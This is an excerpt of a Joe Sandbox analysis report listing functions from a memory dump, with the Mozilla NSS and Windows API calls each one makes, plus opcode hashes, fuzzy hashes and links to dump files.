Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 0103fffa8d7982e87c34583c8bcee3b648949976c55d3750d80b173d83bc4365
Instruction ID: a8f6493c12233244ba2db9976f3e1fb1e0556a5c39fad3cf77bba7dde1b65e6b
Opcode Fuzzy Hash: 0103fffa8d7982e87c34583c8bcee3b648949976c55d3750d80b173d83bc4365
Instruction Fuzzy Hash: E901B9B1F066246FDF11AFA49D0D74577B4AB0B71BF200135EA0AB2B40D739A115C79A

Function 6C6C49C0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000000,00000000,00000678,?,?,6C6B5F34,00000A20), ref: 6C6C49EC

Part of subcall function 6C67FAB0: free.MOZGLUE(?,-00000001,?,?,6C61F673,00000000,00000000), ref: 6C67FAC7

SECITEM_ZfreeItem_Util.NSS3(?,00000000,6C6B5F34,00000A20,?,?,?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6C49F9
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,6C6B5F34,00000A20,?,?,?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6C4A06
free.MOZGLUE(?,?,?,?,?,6C6B5F34,00000A20), ref: 6C6C4A16
free.MOZGLUE(?,?,?,?,?,6C6B5F34,00000A20), ref: 6C6C4A1C

Strings

4_kl , xrefs: 6C6C49C6, 6C6C4A21

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Item_UtilZfreefree
String ID: 4_kl
API String ID: 2193358613-1288778744
Opcode ID: 550168e8cfb7849e875f2b7e53f54a22bd74bfce0c693e0b4154f9b022024c39
Instruction ID: e7eb77550978b42b7e55898f50627dc4ab38032e93ee44510b3f586fc95cd9b7
Opcode Fuzzy Hash: 550168e8cfb7849e875f2b7e53f54a22bd74bfce0c693e0b4154f9b022024c39
Instruction Fuzzy Hash: 33014C76A00104DBCF00CF69DC84CA67BBCEF8A25930584B5E909CB705E731E904CBB6

Function 6C73C9B0 Relevance: 10.5, APIs: 7, Instructions: 45COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(00000000,6C6B1AB6,00000000,?,?,6C6B07B9,?), ref: 6C73C9C6
free.MOZGLUE(?,?,6C6B07B9,?), ref: 6C73C9D3
DeleteCriticalSection.KERNEL32(00000000,00000001), ref: 6C73C9E5
free.MOZGLUE(?), ref: 6C73C9EC
DeleteCriticalSection.KERNEL32(00000080), ref: 6C73C9F8
free.MOZGLUE(?), ref: 6C73C9FF
free.MOZGLUE(00000000), ref: 6C73CA0B

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: f90e20b60deac2a30e7edc10a71654fa5d4ae784e32278830454915f100c4b83
Instruction ID: f8d50ffb2d7b3c8e9cef35593f797ecf0cf3d4b2af51c32ac36e1dfb7cce9ba0
Opcode Fuzzy Hash: f90e20b60deac2a30e7edc10a71654fa5d4ae784e32278830454915f100c4b83
Instruction Fuzzy Hash: F6012CB2600619ABDB01EFA4CC48867B7F8FA4D2623050539E906C3610D735F455CBF1

Function 6C6C2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6C3046

Part of subcall function 6C6AEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6AEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C697FFB), ref: 6C6C312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6C3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6C2E8B

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

Part of subcall function 6C6AF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C699BFF,?,00000000,00000000), ref: 6C6AF134

memcpy.VCRUNTIME140(8B3C75C0,?,6C697FFA), ref: 6C6C2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6C317B

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 8a5890596f2a01ef8486d6ec1c6c06634776496d1bfa4420f200e73b156e53ab
Instruction ID: b17ec9d1520dff68826557902f4af7afd8fce9b9affcf7130c106abd9fd89f21
Opcode Fuzzy Hash: 8a5890596f2a01ef8486d6ec1c6c06634776496d1bfa4420f200e73b156e53ab
Instruction Fuzzy Hash: C0A1AE71A002189FDB24CF54CC84BEAB7B5EF49308F148199ED4967781E731AD85CFA6

Function 6C67A970 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9615bc11d04f9354fe3c82933e939d57c24ffcacb26d9360c98614f0479018d
Instruction ID: 330d988746ae7c899325e519cacd34b55fc9d7d226dd357e455143b77738f283
Opcode Fuzzy Hash: e9615bc11d04f9354fe3c82933e939d57c24ffcacb26d9360c98614f0479018d
Instruction Fuzzy Hash: 84913B30D041688FCB358E1889913DAB7B69F4A31CF14A9E9C5999BA03D631CD85CFB9

Function 6C68ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C68ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C68EDCE

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

free.MOZGLUE(00000000,?,?,?,?,6C68B04F), ref: 6C68EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C68EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C68EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C68EEFB

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: c977bc0871691b5080ff74c2a542d334b082bfbce55b06ebe912e34c5043737c
Instruction ID: 7fd4916c62e3978b06d99fe4d4106a8228c06c6f84e74e4cb4adaab6427b1695
Opcode Fuzzy Hash: c977bc0871691b5080ff74c2a542d334b082bfbce55b06ebe912e34c5043737c
Instruction Fuzzy Hash: 3D819DB9A022059FEB10CF55CC84BAB77F5BF89308F144428E9259BB51DB30E805CBB9

Function 6C68CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C68DAE2,?), ref: 6C68C6C2

PR_Now.NSS3 ref: 6C68CD35

Part of subcall function 6C6E9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DC6
Part of subcall function 6C6E9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DD1
Part of subcall function 6C6E9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6E9DED

Part of subcall function 6C676C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C621C6F,00000000,00000004,?,?), ref: 6C676C3F

PR_GetCurrentThread.NSS3 ref: 6C68CD54

Part of subcall function 6C6E9BF0: TlsGetValue.KERNEL32(?,?,?,6C730A75), ref: 6C6E9C07

Part of subcall function 6C677260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C621CCC,00000000,00000000,?,?), ref: 6C67729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C68CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C68CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C68CE2C

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C68CE40

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

Part of subcall function 6C68CEE0: PORT_ArenaMark_Util.NSS3(?,6C68CD93,?), ref: 6C68CEEE
Part of subcall function 6C68CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C68CD93,?), ref: 6C68CEFC
Part of subcall function 6C68CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C68CD93,?), ref: 6C68CF0B
Part of subcall function 6C68CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C68CD93,?), ref: 6C68CF1D

Part of subcall function 6C68CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C68CD93,?), ref: 6C68CF47
Part of subcall function 6C68CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C68CD93,?), ref: 6C68CF67
Part of subcall function 6C68CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C68CD93,?,?,?,?,?,?,?,?,?,?,?,6C68CD93,?), ref: 6C68CF78

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 2e45d8df93375fb2e8e1167d01ab8c174acf474328e85cda0b3a2a1e7f521c13
Instruction ID: f625918c0efc58c2b3c9c5a3adee8dc4a2bbfa31ccb5f31ca807e0658c0daab1
Opcode Fuzzy Hash: 2e45d8df93375fb2e8e1167d01ab8c174acf474328e85cda0b3a2a1e7f521c13
Instruction Fuzzy Hash: 1E51E9B6A02104AFE710DF69DC44BDA77F4EF49348F250624E916A7740EB31E905CBB9

Function 6C65EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C65EF38

Part of subcall function 6C649520: PK11_IsLoggedIn.NSS3(00000000,?,6C67379E,?,00000001,?), ref: 6C649542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C65EF53

Part of subcall function 6C664C20: TlsGetValue.KERNEL32 ref: 6C664C4C
Part of subcall function 6C664C20: EnterCriticalSection.KERNEL32(?), ref: 6C664C60
Part of subcall function 6C664C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C664CA1
Part of subcall function 6C664C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C664CBE
Part of subcall function 6C664C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C664CD2
Part of subcall function 6C664C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C664D3A

PR_GetCurrentThread.NSS3 ref: 6C65EF9E

Part of subcall function 6C6E9BF0: TlsGetValue.KERNEL32(?,?,?,6C730A75), ref: 6C6E9C07

free.MOZGLUE(00000000), ref: 6C65EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C65F016
free.MOZGLUE(00000000), ref: 6C65F022

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 1979d025e65bd13a9118de457f9aa351ebf3b5b7175795f10a9ae96053029a4d
Instruction ID: 96d7f4384856830ecf6f78c6220cf3362af33e45140e6ba6ceb82f5a8574bb3b
Opcode Fuzzy Hash: 1979d025e65bd13a9118de457f9aa351ebf3b5b7175795f10a9ae96053029a4d
Instruction Fuzzy Hash: 8441A471E00109ABDF018FA9DC54BEF7BB9AF49348F544025F904A7350EB72C9258BA9

Function 6C634860 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C634894

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6348CA
SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6348DD
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?), ref: 6C6348FF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C634912
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C63494A

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$AlgorithmTag_$DecodeErrorItem_Quick$Value
String ID:
API String ID: 759476665-0
Opcode ID: 5a5a358233791332ceb30b58feda584853015554eafe905a7970332cd044ce18
Instruction ID: ee99eb5e91d1aeb0c3487c57e5ae855c013a6549e5029bb42a49ba49510e0c1b
Opcode Fuzzy Hash: 5a5a358233791332ceb30b58feda584853015554eafe905a7970332cd044ce18
Instruction Fuzzy Hash: 6341E4706043156BE710CF69C880BBBB7E89F85358F00292CEA5987781F7B1D904CB6E

Function 6C6B8AF0 Relevance: 9.1, APIs: 6, Instructions: 120COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000159,00000000,00000000,?,?,6C6A6F38), ref: 6C6B8B0B
NSS_OptionGet.NSS3(00000008,?), ref: 6C6B8B58
NSS_OptionGet.NSS3(00000009,?), ref: 6C6B8B6A
NSS_GetAlgorithmPolicy.NSS3(00000159,00000000,?,?,00000000,?,?,6C6A6F38), ref: 6C6B8BBB
NSS_OptionGet.NSS3(0000000A,?), ref: 6C6B8C08
NSS_OptionGet.NSS3(0000000B,?), ref: 6C6B8C1A

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Option$AlgorithmPolicy
String ID:
API String ID: 927613807-0
Opcode ID: 46ca01f514da1fc2326cb2b5be13688527ebee3244c980b99641a7aa1ff51139
Instruction ID: 607c34a2a34ee1215dc21c24a42bfd9eaade13fb1a45f19f192f90b9c9e69b29
Opcode Fuzzy Hash: 46ca01f514da1fc2326cb2b5be13688527ebee3244c980b99641a7aa1ff51139
Instruction Fuzzy Hash: 86414FA0B0310687EF009B65CC917EE36F5EF4A308F544432CE49E7A90E730AA55C79E

Function 6C64CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C64CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C64D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C64D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C64D025
PR_NewLock.NSS3 ref: 6C64D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C64D074

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: e0e9c45b27478415fea30a7be8887a77b9ed3edb02448402366155bb2a2d451c
Instruction ID: e3bc9a255b42e9042eb5016fd650d4c6d96136ce706c5867bf502501975fc9ff
Opcode Fuzzy Hash: e0e9c45b27478415fea30a7be8887a77b9ed3edb02448402366155bb2a2d451c
Instruction Fuzzy Hash: 1241F4B0E013119FDB10DF29C88079ABBE4EF09719F10C16ADC198BB42E774D489CBA9

Function 6C632E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C622D1A), ref: 6C632E7E

Part of subcall function 6C6807B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C628298,?,?,?,6C61FCE5,?), ref: 6C6807BF
Part of subcall function 6C6807B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6807E6
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C68081B
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C680825

PR_Now.NSS3 ref: 6C632EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C632EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C622D1A), ref: 6C632F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C622D1A), ref: 6C632F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C632F81

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 15993e4f5fec505f7eb9b4c1b446020056928422903f2fc7870bf012302d87fb
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 653145715421248BF710C614DC48BEE7365EF81318F24797DD11E97AD2EB30984ACAAE

Function 6C620E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C620A2C), ref: 6C620E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C620A2C), ref: 6C620E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C620A2C), ref: 6C620E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C620A2C), ref: 6C620E90
free.MOZGLUE(00000000), ref: 6C620EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C620A2C), ref: 6C620ED9

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 9b19005307a3bab2a88ddab4835d970bd69603edd7f539c8814f00d10ad82eee
Instruction ID: 4e0f1c8466425d5409143da5ac6fb36c32812120d0f64b8a5ee8d44b1ce97d34
Opcode Fuzzy Hash: 9b19005307a3bab2a88ddab4835d970bd69603edd7f539c8814f00d10ad82eee
Instruction Fuzzy Hash: 1021A3B7F0028457EB0045655C65BA776AEDFC1308F050035D85C53A02FB68C8978AAA

